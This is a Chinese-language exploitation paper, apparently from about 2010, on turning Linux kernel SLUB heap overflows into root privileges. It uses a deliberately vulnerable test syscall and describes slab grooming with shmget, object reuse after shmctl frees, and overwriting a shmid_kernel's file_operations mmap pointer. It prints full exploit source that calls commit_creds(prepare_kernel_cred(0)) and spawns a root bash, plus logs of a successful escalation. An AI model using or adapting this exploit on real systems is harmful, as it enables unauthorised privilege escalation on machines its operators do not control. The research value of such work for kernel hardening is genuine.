By wzt


一、前言

最近几年关于kernel exploit的研究比较热门，常见的内核提权漏洞大致可以分为几类：
空指针引用，内核堆栈溢出，内核slab溢出，内核任意地址可写等等。空指针引用漏洞比较
容易exploit，典型的例子如sock_sendpage，udp_sendmsg。但是新内核的安全模块已经不
在允许userspace的code映射低内存了，所以NULL pointer dereference曾经一度只能dos，
不能提权。但是CVE-2010-4258这个内核任意地址可写漏洞，可以将null pointer dereference
的dos转化为提权。内核堆栈溢出相对userspace下的堆栈溢出比较好exploit。这里最难exploit
的是kernel的slab溢出。关于slab的溢出在05年的时候，UNF的qobaiashi就写过paper来阐述
slab的exploit方法。此后关于slab的溢出研究在都集中在2.4内核上，2.6下的slab溢出一
直没看到有相关的paper共享出来。

在kernel 2.6.22的时候，kernel为了改善slab的性能，引入了slub的设计。针对slub
溢出的paper一直没有被共享直到Jon Oberheide发布了一个针对CAN协议的slub溢出的exploit，
这个应该是第一个公开的在2.6kernel上利用slab溢出的exploit，在ubuntu-10.04 2.6.32
的kernel上运行成功。Jon Oberheide在他的blog上也有篇关于分析slub溢出的paper，但是
这个exploit由于利用了CAN代码上的一些优势，并没有把slub溢出的精髓体现出来。在深入
研究了这个exploit的基础上，在加上我调试2.4内核slab溢出的经验，研究了一下slub的溢
出技术，在centos 5.4 + 2.6.32环境测试成功。


二、示例代码：

为了便于调试，我自己写了一个LKM模块，给内核新增了一个系统调用，用户可以通过
api接口来调用。

--code-------------------------------------------------------------------------
#define BUFFER_SIZE 80

asmlinkage long kmalloc_overflow_test(char *addr, int size)
{
char *buff = NULL;

buff = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!buff) {
printk("kmalloc failed.\n");
return -1;
}
printk("[+] Got object at 0x%p\n", buff);

if (copy_from_user(buff, addr, size)) {
printk("copy_from_user failed.\n");
kfree(buff);
return -1;
}
printk("%s\n", buff);

return 0;
}
-------------------------------------------------------------------------------

这段代码用kmalloc分配了80字节的空间，但没有检查size的大小，用户传递一个大于
80的size值将会产生内核堆溢出。


三、SLUB结构

slub大大简化了slab的数据结构，如从kmem_cache的3个关于slab的队列中去掉了完全
满的队列。每个slab的开始也没有了slab管理结构和管理空obj的kmem_bufctl_t数组。一个
采用slub管理的slab结构如下：

一个slab的结构：

+-------------------------------------------+
| obj | obj | obj | ... |obj|
+-------------------------------------------+

根据上面的代码片段，在一个obj溢出后，脏数据会直接覆盖后面相邻的那个obj：

|first|second|
+-------------------------------------------+
| obj | obj | obj | ... |obj|
+-------------------------------------------+
|-----overflow--->|

当有内核代码访问了被溢出的obj中的数据结构后，就会产生oops。


四、SLUB溢出方法

内核提权的最终目的就是触发某个kernel bug，然后控制内核路径到userspace事先布
置好的shellcode上。因此我们的大方向是在second obj中如果有一个函数指针能被脏数据
覆盖为userspace下的shellcode，并且用户又能调用这个函数指针，那么将会完成权限提升
的任务。还有一个要处理的问题就是如何保证在有bug的代码中用kmalloc分配的obj和我们
想要覆盖的函数指针所在的obj是相邻的。因为只能两者相邻，才能用溢出的数据覆盖函数
指针。

我们先假设已经在kernel中找到了一个数据结构，正好满足了上面的需求，现在只要保
证两个obj是相邻的，就能完成指针覆盖。我们知道slab的一个特性是当一个cache中的所有
slab结构中的obj都用完的时候，内核将会重新分配一个slab，新分配的slab中的obj彼此都
是相邻的：

Kmalloc()->__kmalloc()->__do_kmalloc()->__cache_alloc()->____cache_alloc()
->cache_alloc_refill()->cache_grow()->cache_init_objs()
--code-------------------------------------------------------------------------
static void cache_init_objs(struct kmem_cache *cachep,
struct slab *slabp, unsigned long ctor_flags)
{
for (i = 0; i < cachep->num; i++) {
void *objp = index_to_obj(cachep, slabp, i);
slab_bufctl(slabp)[i] = i + 1;
}
slab_bufctl(slabp)[i - 1] = BUFCTL_END;
slabp->free = 0;
}
-------------------------------------------------------------------------------

前面在slab的结构中提到有个kmem_bufctl_t数组，里面的每个元素指向下一个空闲obj
的索引。在初始化一个新的slab时，每个kmem_bufctl_t元素都顺序的指向了与它相邻的下一
个obj，所以当内核重新分配一个slab结构时，我们从这个新的slab中分配的obj都是相邻的。

那么SLUB是不是也满足这个特性呢？在仔细读过slub的代码后，发现它也满足这个特性：

kmalloc()->slab_alloc()->__slab_alloc()->new_slab():
--code-------------------------------------------------------------------------
static struct page *new_slab(struct kmem_cache *s, gfp_t flags, int node)
{
last = start;
for_each_object(p, s, start, page->objects) {
setup_object(s, page, last);
set_freepointer(s, last, p);
last = p;
}
setup_object(s, page, last);
set_freepointer(s, last, NULL);
}
#define for_each_object(__p, __s, __addr, __objects) \
for (__p = (__addr); __p < (__addr) + (__objects) * (__s)->size;\
__p += (__s)->size)
-------------------------------------------------------------------------------

这段代码遍历一个page中的所有obj进行初始化：

--code-------------------------------------------------------------------------
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
*(void **)(object + s->offset) = fp;
}
-------------------------------------------------------------------------------

s->offset保存的是一个slab中下一个空闲的obj偏移，set_freepointer函数将一个obj
的下一个空闲指针指向了下一个obj。所以slub也满足这个特性。

现在我们只要在用户空间找到一种方法来不断消耗大小为96的slab，当现有的slab用完
的时候，新分配的slab中的obj就是连续相邻的。如何消耗slab，我们仍然可以用shmget系
统调用来处理，并且它用到的struct shmid_kernel结构中，就有我们想覆盖的函数指针！

ipc/shm.c:
--code-------------------------------------------------------------------------
sys_shmget->ipcget->ipcget_new->newseg:
static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
{
struct shmid_kernel *shp;

shp = ipc_rcu_alloc(sizeof(*shp));
shp->shm_file = file;
}
void* ipc_rcu_alloc(int size)
{
out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
}
-------------------------------------------------------------------------------

因此只要在用户空间不断调用shmget就会在内核中不断消耗大小为96的slab。示例中的
代码分配的是80个字节，它将会在96大小的slab中分配，这里还有一点需要注意：

--code-------------------------------------------------------------------------
out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
-------------------------------------------------------------------------------

用shmget分配的obj前段都有一个8个字节的站位空间，因此用shmget分配的shmid_kernel
结构将会如下：

| ------ 96 --------------------| ---------------96 ------------|
+---------------------------------------------------------------+
| HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |
+---------------------------------------------------------------+

在以后覆盖的时候需要跳过HDRLEN_KMALLOC个字节。

内核中关于slab的信息，可以在/proc/slabinfo得到:

-------------------------------------------------------------------------------
[wzt@localhost exp]$ cat /proc/slabinfo |grep kmalloc-96
kmalloc-96 922 924 96 42 1 : tunables 0 0 0 : slabdata 22 22 0
-------------------------------------------------------------------------------

922为当前活跃的obj数目，924是所有slab中obj的数目，因此我们在用户空间中可以解
析这个文件来得到当前系统中剩余的obj数目：

--code-------------------------------------------------------------------------
int check_slab(char *slab_name, int *active, int *total)
{
FILE *fp;
char buff[1024], name[64];
int active_num, total_num;

fp = fopen("/proc/slabinfo", "r");
if (!fp) {
perror("fopen");
return -1;
}

while (fgets(buff, 1024, fp) != NULL) {
sscanf(buff, "%s %u %u", name, &active_num, &total_num);
if (!strcmp(slab_name, name)) {
*active = active_num;
*total = total_num;
return total_num - active_num;
}
}

return -1;
}
-------------------------------------------------------------------------------

现在写一段code来不断调用shmget，看看新分配的obj是不是连续的，为了调试方便，
我修改了sys_shmget的代码，加入了printk用于打印kmalloc后的地址。trigger程序的代码
片段如下：

trigger.c:
--code-------------------------------------------------------------------------
...
shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));

fprintf(stdout, "[+] smashing free slab ...\n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
if (!check_slab(SLAB_NAME, &active_num, &total_num))
break;

shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
base = i;
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);

fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
...

[wzt@localhost exp]$ ./exp
[+] mmaping kernel code at 0x41414141 ok.
[+] looking for symbols...
[+] found commit_creds addr at 0xc0446524.
[+] found prepare_kernel_cred addr at 0xc0446710.
[+] setting up exploit payload...
[+] checking slab total: 840 active: 836 free: 4
[+] smashing free slab ...
[+] smashing 17 total: 840 active: 840 free: 0
[+] smashing adjacent slab ...
[+] smashing 117 total: 966 active: 966 free: 0
-------------------------------------------------------------------------------

可以看到dmesg后的信息，新的obj都是连续的。

-------------------------------------------------------------------------------
[wzt@localhost exp]$ dmesg|tail -n 10
[+] kmalloc at 0xdf1ea120
[+] kmalloc at 0xdf1ea180
[+] kmalloc at 0xdf1ea1e0
[+] kmalloc at 0xdf1ea240
[+] kmalloc at 0xdf1ea2a0
[+] kmalloc at 0xdf1ea300
[+] kmalloc at 0xdf1ea360
[+] kmalloc at 0xdf1ea3c0
[+] kmalloc at 0xdf1ea420
[+] kmalloc at 0xdf1ea480
-------------------------------------------------------------------------------

ok，我们已经能获得一个连续的obj了，现在要利用slub的另一个特性：FIFO，先在这
些连续的obj中选取一个obj释放掉，然后马上触发有bug的代码，那么有bug的代码调用kmalloc
分配的obj地址就是刚才释放掉的那个obj，当溢出发生后，脏数据将会覆盖它相邻的下一个
obj。可以用如下代码来触发：

trigger.c:
--code-------------------------------------------------------------------------
...
free_idx = i - 4;
fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
perror("shmctl");
}

fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
memset(buff, 0x41, sizeof(buff));
kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
...
-------------------------------------------------------------------------------

在这里我们将倒数第4个obj释放掉，执行后dmesg可以看到：

-------------------------------------------------------------------------------
[+] kmalloc at 0xd3decc00
[+] kmalloc at 0xd3decc60
[+] kmalloc at 0xd3deccc0
[+] kmalloc at 0xd3decd20
[+] kmalloc at 0xd3decd80
[-] kfree at 0xd3decc60
...............................
[+] Got object at 0xd3decc60
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------------------------------------------------------------------------------

shmctl释放掉了0xd3decc60地址后，有bug的kmalloc分配的地址也是0xd3decc60。

-------------------------------------------------------------------------------
[wzt@localhost exp]$ tail /proc/sysvipc/shm
0 8192250 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
1094795585 1094795585 0 500 134522884 0 500 1094795585 1094795585 0 0 4294967295 252 0
1094795585 1094795585 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
0 8323326 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
-------------------------------------------------------------------------------

可以看到与0xd3decc60相邻的下一个obj地址0xd3deccc0中的shmid_kernel结构已经被
覆盖了。

现在我们可以来覆盖一个函数指针了，在shmid_kernel中正好有满足我们需要的函数指
针!

kernel中处理ipc共享内存的一个数据结构struct shmid_kernel：

--code-------------------------------------------------------------------------
struct shmid_kernel /* private to the kernel */
{
struct kern_ipc_perm shm_perm;
struct file * shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
pid_t shm_cprid;
pid_t shm_lprid;
struct user_struct *mlock_user;
};

struct shmid_kernel {
.shm_file = struct file {
.f_op = struct file_operations = {
.mmap = ATTACKER_ADDRESS
}
}
}
-------------------------------------------------------------------------------

可以用shmat的系统调用来触发：

--code-------------------------------------------------------------------------
sys_shmat()->do_shmat():
long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr)
{
user_addr = do_mmap(file, addr, size, prot, flags, 0);
}
-------------------------------------------------------------------------------

do_mmap将被覆盖为shellcode地址。

ok，现在可以写一个完整的exp了，试试先：

-------------------------------------------------------------------------------
[wzt@localhost exp]$ ./exp
执行后系统挂掉了， 看下dmesg信息：
[+] kmalloc at 0xd31752a0
[+] kmalloc at 0xd3175300
[+] kmalloc at 0xd3175360
[+] kmalloc at 0xd31753c0
[+] kmalloc at 0xd3175420
[+] kmalloc at 0xd3175480
[+] kmalloc at 0xd31754e0
[-] kfree at 0xd31753c0
...............................
[+] Got object at 0xd31753c0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BUG: unable to handle kernel NULL pointer dereference at (null)
IP: [<c04fc352>] ipc_has_perm+0x46/0x61
*pde = 00000000
Oops: 0000 [#1] SMP
last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/local_cpus
Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode]

Pid: 3190, comm: exp Not tainted (2.6.32 #2) Bochs
EIP: 0060:[<c04fc352>] EFLAGS: 00010246 CPU: 1
EIP is at ipc_has_perm+0x46/0x61
EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428
ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8
DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068
Process exp (pid: 3190, ti=d33eb000 task=dbe6ea30 task.ti=d33eb000)
Stack:
d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
Call Trace:
[<c04f9cf3>] ? security_ipc_permission+0xf/0x10
[<c04f22e4>] ? do_shmat+0xdc/0x349
[<c04057da>] ? sys_ipc+0xff/0x162
[<c0402865>] ? syscall_call+0x7/0xb
Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 f0 55 e8 75 fb ff ff 83 c4
EIP: [<c04fc352>] ipc_has_perm+0x46/0x61 SS:ESP 0068:d33ebec8
CR2: 0000000000000000
---[ end trace 7bbab7e881899412 ]---
[wzt@localhost exp]$
-------------------------------------------------------------------------------

看上去像selinux的问题，将它关闭掉再试试：

-------------------------------------------------------------------------------
[wzt@localhost exp]$ ./exp
[+] mmaping kernel code at 0x41414141 ok.
[+] looking for symbols...
[+] found commit_creds addr at 0xc0446524.
[+] found prepare_kernel_cred addr at 0xc0446710.
[+] setting up exploit payload...
[+] checking slab total: 798 active: 791 free: 7
[+] smashing free slab ...
[+] smashing 5 total: 798 active: 798 free: 0
[+] smashing adjacent slab ...
[+] smashing 105 total: 924 active: 924 free: 0
[+] free exist shmid with idx: 101
[+] trigger kmalloc overflow in kmalloc-96
[+] shmid_kernel size: 80
[+] kern_ipc_perm size: 44
[+] shmid: 3309669
[+] launching root shell!
[root@localhost exp]# uname -a
Linux localhost.localdomain 2.6.32 #2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU/Linux
[root@localhost exp]#
-------------------------------------------------------------------------------

成功了，终于得到可爱的root了！


五、源码：

exp.c
/*
* linux kernel slub overflow test exploit
*
* by wzt <wzt.wzt@gmail.com>
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>

#include "syscalls.h"

#define __NR_kmalloc_overflow_test 59

#define KALLSYMS_NAME "/proc/kallsyms"
#define SLAB_NAME "kmalloc-96"
#define SLAB_SIZE 96
#define SLAB_NUM 100

#define IPCMNI 32768
#define EIDRM 43
#define HDRLEN_KMALLOC 8

struct list_head {
struct list_head *next;
struct list_head *prev;
};

struct super_block {
struct list_head s_list;
unsigned int s_dev;
unsigned long s_blocksize;
unsigned char s_blocksize_bits;
unsigned char s_dirt;
uint64_t s_maxbytes;
void *s_type;
void *s_op;
void *dq_op;
void *s_qcop;
void *s_export_op;
unsigned long s_flags;
}super_block;

struct mutex {
unsigned int count;
unsigned int wait_lock;
struct list_head wait_list;
void *owner;
};

struct inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_sb_list;
struct list_head i_dentry_list;
unsigned long i_ino;
unsigned int i_count;
unsigned int i_nlink;
unsigned int i_uid;
unsigned int i_gid;
unsigned int i_rdev;
uint64_t i_version;
uint64_t i_size;
unsigned int i_size_seqcount;
long i_atime_tv_sec;
long i_atime_tv_nsec;
long i_mtime_tv_sec;
long i_mtime_tv_nsec;
long i_ctime_tv_sec;
long i_ctime_tv_nsec;
uint64_t i_blocks;
unsigned int i_blkbits;
unsigned short i_bytes;
unsigned short i_mode;
unsigned int i_lock;
struct mutex i_mutex;
unsigned int i_alloc_sem_activity;
unsigned int i_alloc_sem_wait_lock;
struct list_head i_alloc_sem_wait_list;
void *i_op;
void *i_fop;
struct super_block *i_sb;
void *i_flock;
void *i_mapping;
char i_data[84];
void *i_dquot_1;
void *i_dquot_2;
struct list_head i_devices;
void *i_pipe_union;
unsigned int i_generation;
unsigned int i_fsnotify_mask;
void *i_fsnotify_mark_entries;
struct list_head inotify_watches;
struct mutex inotify_mutex;
}inode;

struct dentry {
unsigned int d_count;
unsigned int d_flags;
unsigned int d_lock;
int d_mounted;
void *d_inode;
struct list_head d_hash;
void *d_parent;
}dentry;

struct file_operations {
void *owner;
void *llseek;
void *read;
void *write;
void *aio_read;
void *aio_write;
void *readdir;
void *poll;
void *ioctl;
void *unlocked_ioctl;
void *compat_ioctl;
void *mmap;
void *open;
void *flush;
void *release;
void *fsync;
void *aio_fsync;
void *fasync;
void *lock;
void *sendpage;
void *get_unmapped_area;
void *check_flags;
void *flock;
void *splice_write;
void *splice_read;
void *setlease;
}op;

struct vfsmount {
struct list_head mnt_hash;
void *mnt_parent;
void *mnt_mountpoint;
void *mnt_root;
void *mnt_sb;
struct list_head mnt_mounts;
struct list_head mnt_child;
int mnt_flags;
const char *mnt_devname;
struct list_head mnt_list;
struct list_head mnt_expire;
struct list_head mnt_share;
struct list_head mnt_slave_list;
struct list_head mnt_slave;
struct vfsmount *mnt_master;
struct mnt_namespace *mnt_ns;
int mnt_id;
int mnt_group_id;
int mnt_count;
}vfsmount;

struct file {
struct list_head fu_list;
struct vfsmount *f_vfsmnt;
struct dentry *f_dentry;
void *f_op;
unsigned int f_lock;
unsigned long f_count;
}file;

struct kern_ipc_perm {
unsigned int lock;
int deleted;
int id;
unsigned int key;
unsigned int uid;
unsigned int gid;
unsigned int cuid;
unsigned int cgid;
unsigned int mode;
unsigned int seq;
void *security;
};

struct shmid_kernel {
struct kern_ipc_perm shm_perm;
struct file *shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
unsigned int shm_cprid;
unsigned int shm_lprid;
void *mlock_user;
}shmid_kernel;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static inline my_syscall2(long, kmalloc_overflow_test, char *, addr, int, size);

int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
FILE *s_fp;
char buff[200];
char *p = NULL, *p1 = NULL;
unsigned long addr = 0;

s_fp = fopen(file_name, "r");
if (s_fp == NULL) {
printf("open %s failed.\n", file_name);
return 0;
}

while (fgets(buff, 200, s_fp) != NULL) {
if (strstr(buff, symbol_name) != NULL) {
buff[strlen(buff) - 1] = "\0";
p = strchr(strchr(buff, " ") + 1, " ");
++p;

if (!p) {
return 0;
}
if (!strcmp(p, symbol_name)) {
p1 = strchr(buff, " ");
*p1 = "\0";
sscanf(buff, "%lx", &addr);
//addr = strtoul(buff, NULL, 16);
printf("[+] found %s addr at 0x%x.\n",
symbol_name, addr);
break;
}
}
}

fclose(s_fp);
return addr;
}

int check_slab(char *slab_name, int *active, int *total)
{
FILE *fp;
char buff[1024], name[64];
int active_num, total_num;

fp = fopen("/proc/slabinfo", "r");
if (!fp) {
perror("fopen");
return -1;
}

while (fgets(buff, 1024, fp) != NULL) {
sscanf(buff, "%s %u %u", name, &active_num, &total_num);
if (!strcmp(slab_name, name)) {
*active = active_num;
*total = total_num;
return total_num - active_num;
}
}

return -1;
}

void clear_old_shm(void)
{
char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk "{print $2}"`; "
"do ipcrm -m $shmid > /dev/null 2>&1; done;";

system(cmd);
}

void mmap_init(void)
{
void *payload;

payload = mmap((void *)(0x41414141 & ~0xfff), 2 * 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
printf("[*] Failed to mmap() at target address.\n");
return ;
}
printf("[+] mmaping kernel code at 0x41414141 ok.\n");
memcpy((void *)0x41414141, &kernel_code, 1024);

}

void setup(void)
{
printf("[+] looking for symbols...\n");

commit_creds = (_commit_creds)
find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
if (!commit_creds) {
printf("[-] not found commit_creds addr.\n");
return ;
}

prepare_kernel_cred =
(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
"prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] not found prepare_kernel_cred addr.\n");
return ;
}

printf("[+] setting up exploit payload...\n");

super_block.s_flags = 0;

inode.i_size = 4096;
inode.i_sb = &super_block;
inode.inotify_watches.next = &inode.inotify_watches;
inode.inotify_watches.prev = &inode.inotify_watches;
inode.inotify_mutex.count = 1;

dentry.d_count = 4096;
dentry.d_flags = 4096;
dentry.d_parent = NULL;
dentry.d_inode = &inode;

op.mmap = &kernel_code;
op.get_unmapped_area = &kernel_code;

vfsmount.mnt_flags = 0;
vfsmount.mnt_count = 1;

file.fu_list.prev = &file.fu_list;
file.fu_list.next = &file.fu_list;
file.f_dentry = &dentry;
file.f_vfsmnt = &vfsmount;
file.f_op = &op;

shmid_kernel.shm_perm.key = IPC_PRIVATE;
shmid_kernel.shm_perm.uid = 501;
shmid_kernel.shm_perm.gid = 501;
shmid_kernel.shm_perm.cuid = getuid();
shmid_kernel.shm_perm.cgid = getgid();
shmid_kernel.shm_perm.mode = -1;
shmid_kernel.shm_file = &file;
}

int trigger(void)
{
int *shmids;
int total_num, active_num, free_num;
int base, free_idx, i;
int ret;
char buff[1024];

clear_old_shm();

free_num = check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n",
total_num, active_num, total_num - active_num);

shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));

fprintf(stdout, "[+] smashing free slab ...\n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
if (!check_slab(SLAB_NAME, &active_num, &total_num))
break;

shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
base = i;
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);

fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);

//free_idx = base + SLAB_NUM - 4;
free_idx = i - 4;
fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
perror("shmctl");
}

sleep(1);

fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
memset(buff, 0x41, sizeof(buff));
shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;
memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
//memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel));

printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));
printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));
printf("[+] shmid: %d\n", shmids[free_idx]);

kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));

ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);
if (ret == -1 && errno != EIDRM) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);

printf("[+] launching root shell!\n");

execl("/bin/bash", "/bin/bash", NULL);
exit(0);
}

return 0;
}

int main(void)
{
mmap_init();
setup();
trigger();
}


六、参考

1、 Jon Oberheide - Linux Kernel CAN SLUB Overflow
2、 grip2 - Linux 内核溢出研究系列(2) - kmalloc 溢出技术
3、 qobaiashi - the sotry of exploiting kmalloc() overflows
4、 Ramon de Carvalho Valle - Linux Slab Allocator Bu_er Overow Vulnerabilities
5、 wzt - How to Exploit Linux Kernel NULL Pointer Dereference
6、 wzt - Linux kernel stack and heap exploitation

-EOF-